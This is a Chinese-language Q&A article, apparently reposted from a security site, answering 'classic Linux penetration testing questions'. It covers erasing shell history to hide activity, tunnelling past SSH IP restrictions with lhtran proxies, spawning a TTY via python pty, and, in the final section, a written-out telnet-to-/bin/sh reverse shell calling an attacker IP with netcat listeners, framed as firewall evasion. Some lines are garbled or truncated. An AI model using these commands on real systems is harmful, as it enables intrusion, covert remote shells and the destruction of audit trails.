此攻略中的題目收集于Wooyun zone,每道題其實都有一些不同的解法,且本套題中有不少題的題目寫的不是很清晰,容易產(chǎn)生誤解,
經(jīng)典的Linux滲透測試問題
。本題解僅作拋磚引玉,希望有其他解答方案的同學(xué)可以留言共同探討。1、登錄系統(tǒng)如何不讓記錄歷史操作命令?
1.修改/etc/profile文件將HISTSIZE = 1000為0或1 # 91ri.org注:HISTSIZE 是環(huán)境變量中用于設(shè)置可以保存的歷史命令條數(shù),設(shè)置為0便不會保存。小編首次見到此題目是在wooyun zone 但zone上面的回答都是下面的2,3兩種方案,實際上最符合題意的應(yīng)該是修改環(huán)境變量這種。
2.或者清除用戶主目錄路徑下, bash_history
3.立即清空歷史命令的歷史記錄
history -c
4.bash執(zhí)行的命令不是立即命令名稱寫入到歷史文件中,而是存儲在內(nèi)部緩沖區(qū),因此也將等bash退出時一并寫入。
但是,你可以調(diào)用的歷史w’的命令bash立即更新歷史文件。
history -w
2、ssh 限制了ip登錄,要求ssh登錄,如何處理?
如果確認(rèn)被過濾了,并且你有一個shell的話,可以先在這個機(jī)器里跑個lhtran.c做一個 socks proxy,如果端口都被過濾了,就再用一次lhtran回連一個socks proxy,這個時候你可以試試用這個代理登錄他的ssh,如果好運的話(allow里寫了本機(jī)的地址),你可以進(jìn)入系統(tǒng)。
#91ri.org注:wooyun上有人說可以使用iptable轉(zhuǎn)發(fā)端口突破,似乎如果只有個user的shell,不能操作iptable吧。也許小編知識水平不夠高,不知各位讀者有什么想法?歡迎留言討論,這個問題出的不是很嚴(yán)謹(jǐn),應(yīng)該有其他方法。
3、在ssh后門里看不到對方是否登錄的情況下,用哪個命令可以準(zhǔn)確顯示出來?
可以嘗試通過linux下的w和who命令來查看。
關(guān)于w和who命令的用法可參考《Linux中W與Who命令的使用》
4、如何獲取真正的tty
解決這道題我們要先知道兩個前置知識,tty與console有什么區(qū)別:
1. console是輸出設(shè)備,tty是字符設(shè)備
2. console是虛擬設(shè)備,映射到真正tty上面
不過這題作者似乎寫的不是很明白,小編按題意給出個人理解,大家自行參考,
電腦資料
《經(jīng)典的Linux滲透測試問題》(http://www.lotusphilosophies.com)。解法1:
[test@localhost ~]$ tty/dev/tty2
解法2(wooyun@壞蝦):
python -c 'import pty; pty.spawn("/bin/sh")'
解法3:
[test@localhost ~]$ who
5、如何使用telnet進(jìn)行反向連接
這道題可難為我們團(tuán)隊的同學(xué)了,網(wǎng)上的資料說這個無法實現(xiàn),而且題目感覺寫的不清晰,我們做了2天才解決這個問題。
telnet反向連接在實戰(zhàn)中的作用:
案例1: 試圖獲取某工業(yè)級數(shù)據(jù)包檢測防火墻或者路由器之后(基于路由的防火墻,不代理任何服務(wù))的一臺UNIX的系統(tǒng)的WEB服務(wù)器的訪問權(quán)。防火墻僅對外網(wǎng)開放了80及443,這臺WEB服務(wù)器存在phf漏洞(phf漏洞是什么自行腦補), 可遠(yuǎn)程對該web服務(wù)器執(zhí)行命令。此時就可以通過unix自帶的telnet獲取到一個交互式的SHELL。(91ri.org補充:因為之所以不用NC是因為服務(wù)器一般都有安裝telnet,且很少受到限制。而connect又是從目標(biāo)主機(jī)中發(fā)起,所以可以達(dá)到穿透防火墻及內(nèi)網(wǎng)的作用。)
環(huán)境假設(shè):
target ip : 192.168.128.105
hacker ip:192.168.128.100
telnet 反向連接命令:
target :
/usr/bin/telnet 192.168.128.100 80 |/bin/sh |/usr/bin/telnet 192.168.128.100
hacker:
/opt/netcat/bin/nc -l -n -v -p 80/opt/netcat/bin/nc -l -n -v -p 25
命令說明:實際上我們是將telnet連接到hacker的80端口的NC上,為了與傳統(tǒng)的unix的輸入輸出機(jī)制保持一致,我們通過標(biāo)準(zhǔn)輸出即鍵盤通過管道輸給了Bourne shell。而由/bin/sh 執(zhí)行命令的結(jié)果再通過管道輸出telnet,并返回到hacker的25端口的NC上。
之所以選擇80和25是因為大多數(shù)防火墻都允許它們向外訪問,假如沒有防火墻,那么選什么端口都可以。